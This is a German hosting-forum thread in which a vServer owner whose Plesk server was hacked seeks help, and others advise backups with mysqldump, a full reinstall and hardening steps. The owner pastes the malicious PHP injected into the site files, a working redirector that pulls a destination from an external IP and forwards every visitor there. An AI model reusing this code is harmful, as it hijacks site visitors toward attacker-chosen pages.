Webseiten plötzlich nicht mehr erreichbar / Port 80 gesperrt & Server gehackt?

J

Jimbo

New Member
Hallo,

ich hab heute nicht schlecht gestaunt als ich einen vServer (Strato vServer mit PLESK) überprüft habe und festgestellt habe, dass ALLE Webseiten nicht erreichbar sind.

Dazu kommt, dass auf einmal eine neue Domain "superkkt.com" in PLESK angelegt wurde. Dazu habe ich leider nur das gefunden: http://www.webhostingtalk.com/showthread.php?t=1253158

Das komischste ist jedoch, dass ich Webseiten ohne Datenbank aufrufen kann auf dem server, Dinge wie z.B. http://www.vergleich.to/nexus_4.jpg funktionieren, aber die eigentliche Seite läd nicht.

Dazu kommt, dass im Strato Konfigpanel quasi ständig steht, dass Port 80 gesperrt ist.

Serverdaten:
vserver von Strato
openSUSE 11.1
PLESK v.10.1.1

Nun wollte ich radikal vorgehen, Daten sicher und neu aufsetzen, aber ich krieg die Datenbanken nicht exportiert :( Mysql meldet immer einen Fehler beim Export.

Ich weiß echt nicht mehr weiter :(
Hab natürlich auch alle Passwörter geändert, server neu gestartet usw. - gebracht hat aber alles nichts :(
 
export.php: Missing parameter: what (FAQ 2.8)
export.php: Missing parameter: export_type (FAQ 2.8)

erhalte ich bei den meisten Datenbanken, manche gehen aber?!

Habe die Datenbanken nun per SSH gesichert, hoffe nur dass diese vollständig und konsistent sind. Ich würde gern sicher gehen und Sie über phpadmin auch sicher, aber der Fehler oben macht mir das bisher nicht möglich :(
 
Du wirst wohl oder übel die Klicki-Bunti-GUI von Plesk verlassen und mit der Konsole arbeiten müssen.

Es sieht zumindest so aus, als ob der Webserver an sich noch läuft aber Interpreter und/oder DB nicht funktionieren. Über die Konsole solltest Du die DBs mit mysqldump sichern können (http://dev.mysql.com/doc/refman/5.1/de/mysqldump.html).

Für weitere Hinweise und Ursachenanalyse sind präzise Fehlermeldungen aus den Logs erforderlich (syslog usw.). Sollte Dein nächstes Problem sein, nicht zu wissen, wo Du die benötigten Angaben findest, ist es besser, wenn Du einen Profi/Fachmann engagierst (gegen Entgelt).
 
Jimbo said:
...Habe die Datenbanken nun per SSH gesichert, hoffe nur dass diese vollständig und konsistent sind. Ich würde gern sicher gehen und Sie über phpadmin auch sicher, aber der Fehler oben macht mir das bisher nicht möglich :(
Click to expand...
Im Gegenteil eine Sicherung über phpMyAdmin ist nur bei kleineren Tabellen zu empfehlen, bei großen DBs gibt es oft Probleme - die Sicherung über die Konsole ist die zuverlässige Variante. Die Konsistenz kann die auch phpMyAdmin nicht sicherstellen.
 
Hallo,

habe die Datenbanken ja per SSH gesichert - würde nur eben gern sicher gehen und diese auch noch über phpadmin sichern, falls die sql-dateien defekt sind u.ä.

Werde dann wohl einfach den ganzen vserver neuinstallieren sobald ich alles gesichert habe, wer weiß was für Hintertüren eingebaut worden sind :(
 
TerraX said:
Im Gegenteil eine Sicherung über phpMyAdmin ist nur bei kleineren Tabellen zu empfehlen, bei großen DBs gibt es oft Probleme - die Sicherung über die Konsole ist die zuverlässige Variante. Die Konsistenz kann die auch phpMyAdmin nicht sicherstellen.
Click to expand...

Okay, gut zu wissen. Ja es sind nur wirklich sehr kleine Datenbank von unter 10 MB. Hab jetzt alles gesichert und hoffe mal das beste ;)
 
Nur so als Hinweis am Rande

Jimbo said:
wer weiß was für Hintertüren eingebaut worden sind :(
Click to expand...

Wenn du das nicht weißt, dann wirst du mit deinem Backup möglicherweise auch alle Lücken wieder mit einspielen. Es wäre also durchaus wichtig, dass du heraus findest, was auf deinem Server passiert ist, bevor du alles löschst. Außerdem vernichtest du so u.U. alle Beweise, die du brauchen könntest, falls da etwaige juristische Forderungen auf dich zu kommen. Der HInweis, ggf. einen Profi zu bezahlen der sich damit auskennt, kam ja bereits.
 
Ich stelle nun mal die Behauptung auf, dass dein Sytem nicht ganz "up-to-date" war oder? Denk dran in Zukunft Updates einzuspielen, um solche Vorfälle zu minimieren!

Viel Erfolg beim neu aufsetzen!
 
Hab gerade festgestellt, dass alle php-Dateien irgendwie verändert bzw. ersetzt wurden.

Code: 
<?php
ini_set('display_errors',0);if(!function_exists('sys_get_temp_dir')){function sys_get_temp_dir(){if(!empty($_ENV['TMP'])){return realpath($_ENV['TMP']);}if(!empty($_ENV['TMPDIR'])){return realpath($_ENV['TMPDIR']);}if(!empty($_ENV['TEMP'])){return realpath($_ENV['TEMP']);}$tempfile=tempnam(__FILE__,'');if(file_exists($tempfile)){unlink($tempfile);return realpath(dirname($tempfile));}return null;}}$geturl='http://188.190.124.81/tds.php';$timeout=180;$default_url='http://www.google.com/robots.txt';if(!$geturl)exit();$base=ini_get('upload_tmp_dir');if($base==null)$base=sys_get_temp_dir();$tmp_settings=$base."/settings.json";$settings=file_exists($tmp_settings)?unserialize(file_get_contents($tmp_settings)):array('last'=>0,'url'=>$default_url);if($settings['last']<time()-$timeout){if($settings['url']=file_get_contents($geturl)){$settings['last']=time();$fp=fopen($tmp_settings,'w');flock($fp,LOCK_EX);fputs($fp,serialize($settings));flock($fp,LOCK_UN);fclose($fp);}}$url=$settings['url']?$settings['url']:file_get_contents($geturl);if(substr($url,0,4)!='http')$url="http://".$url."/";header("Location: $url");exit();?>

Wenn ich das Update wieder einspiel hab ich wahrscheinlich wieder das gleiche Problem, da geb ich euch Recht.
Ich habe von einigen Webseiten ältere Backups, die ich gerade hochgeladen habe und dann gehen die Seiten auch wieder: http://www.mediaflat.org/ - nur hab ich nicht von allen Webseiten noch Backups weils das relativ unwichtige Satellitenseiten waren :(

Was kost mich denn ein Profi, der sich das einmal anschaut?
Das ist genau mein Problem: http://forum.parallels.com/showthread.php?286423-Under-Attack&p=685668
 
Last edited by a moderator:
Tip: Backups von seinen Webseiten zu haben, ist sicherlich sinnvoll. Noch besser ist es m.E. lokale saubere Repositories der Webseiten zu haben und Webseiten nur aus diesen heraus sauber wiederherzustellen (Voraussetzung One-Way-Prinzip = Lokal -> Remoteserver nie anders herum). Nur so lassen sich Veränderungen Soll/Ist einfach, sicher und eindeutig feststellen.

Ergo sum, Änderungen finden grundsätzlich erst einmal lokal in einer kontrollierten Umgebung statt (idealerweise Testumgebung) und werden dann nach erfolgreichen Test auf den Webserver "repliziert" und wie gesagt NIE anders herum (egal ob Script, Grafik oder Templates).

Tip 2: Soweit möglich in die Security-/Update-Mailinglisten aller verwendeter wesentlicher Software eintragen (Distro, Plesk, Apache usw.). Nur so hast du eine Chance zeitnah zu reagieren.

Tip 3: Monitoring Tools wie logwatch, rkhunter oder CSF&LFD mit regelmäßigen und anlassbezogenen Mail-Reports/-Notifications sind zwar keine Allheilmittel; erhöhen aber die Chance ungewöhnliches Verhalten zeitnah zu erkennen und damit reagieren zu können bevor substantieller Mißbrauch oder Fehlfunktionen eintreten.

Tip 4: Sofern möglich und nicht unbedingt erforderlich auf Plesk und co. verzichten und manuell konfigurieren. Diese Tools vereinfachen die Administration nur auf den ersten Blick. Die vielen Automatismen erschweren aber die Fehlersuche, abgesehen von der erweiterten Angriffsfläche.
 
Vielen Dank für die Tipps, ich werde versuchen sie in Zukunft umzusetzen.

Leider hab ich den vserver wirklich nie gewartet, die openSuse Version ist leider auch ziemlich veraltet (v11.1), ein Update auf 12.x hat leider nicht funktioniert. Ist das überhaupt noch möglich? Oder muss ich erst alle Zwischenversionen installieren?

Sonst muss ich den Server nun doch noch komplett neuinstallieren.
 
Jimbo said:
...Sonst muss ich den Server nun doch noch komplett neuinstallieren.
Click to expand...
Der Server wurde offensichtlich kompromittiert. Er sollte in jedem Falle vollständig neu aufgesetzt werden! Keine der Programmdateien ist auf dem Server noch vertrauenswürdig.

Hinweis: Bevor die Webanwendungen auf dem Server wiederherstellt werden, die Updates im lokalen Testsystem durchführen, testen und dann erst auf den Server replizieren. Andernfalls besteht das Risiko, dass die verwundbare Anwendung sofort wieder infiziert wird und sich zu einem Hase-Igel-Problem auswächst.
 
Habe nun alles neu aufgesetzt und ein anderes Betriebssystem gewählt und die neueste PLESK Version - ohne Plesk krieg ich es leider noch nicht hin ;)

Werde dann mal lokal versuchen, ob alle Webseiten "sauber" sind und ich sie wieder hochladen kann. Vielen Dank auf jeden Fall für die umfasende Hilfe!
 
Gute Wahl, den Server komplett neu aufzusetzen. Zu viele Leute tun das nicht und haben dann ruck-zuck wieder das gleiche Problem. Allerdings hast du, wenn ich das richtig sehe, die Lücke an sich noch nicht gefunden?

Aktuelle Serversoftware ist schon mal eine sehr gute Grundvoraussetzung für ein sauberes System, wobei das Einfallstor Nr. 1 meiner Erfahrung nach die Webapplikationen sind (die entsprechend ebenso aktuell gehalten werden müssen). Um hier großartigen Schaden bei einem Einbruch zu vermeiden, helfen nur sauber (vor allem vom System selbst) getrennte vHosts, die durch möglichst restriktive Einrichtung keinen Schaden außerhalb des DocumentRoots anrichten können.

Abschließend bleibt zu sagen, dass du vielleicht mit einem Webspace besser bedient wärst, zumindest aber einen Systemadministrator mit der regelmäßigen Serverwartung beauftragen solltest (zumindest meiner Meinung nach).
 
Hallo,

ja das ist der einzige vServer den ich noch habe, der Rest ist auf Webspace oder Managed Servern ;)

Naja es lag an einer Sicherheitslücke von Plesk soweit ich das recherchieren konnte..
 
Auch immer beliebt als Angriffsziel:
Der heimische Rechner der bei Filezilla die Logindaten aus der Plain Text Datei zieht. Dazu noch ein Keylogger.

In diesem Fall kann der Web/Vserver/HP noch so up to date sein, der Bot wird mit den geklauten Zugangsdaten alles infizieren.
 
You must log in or register to reply here.
Back
Top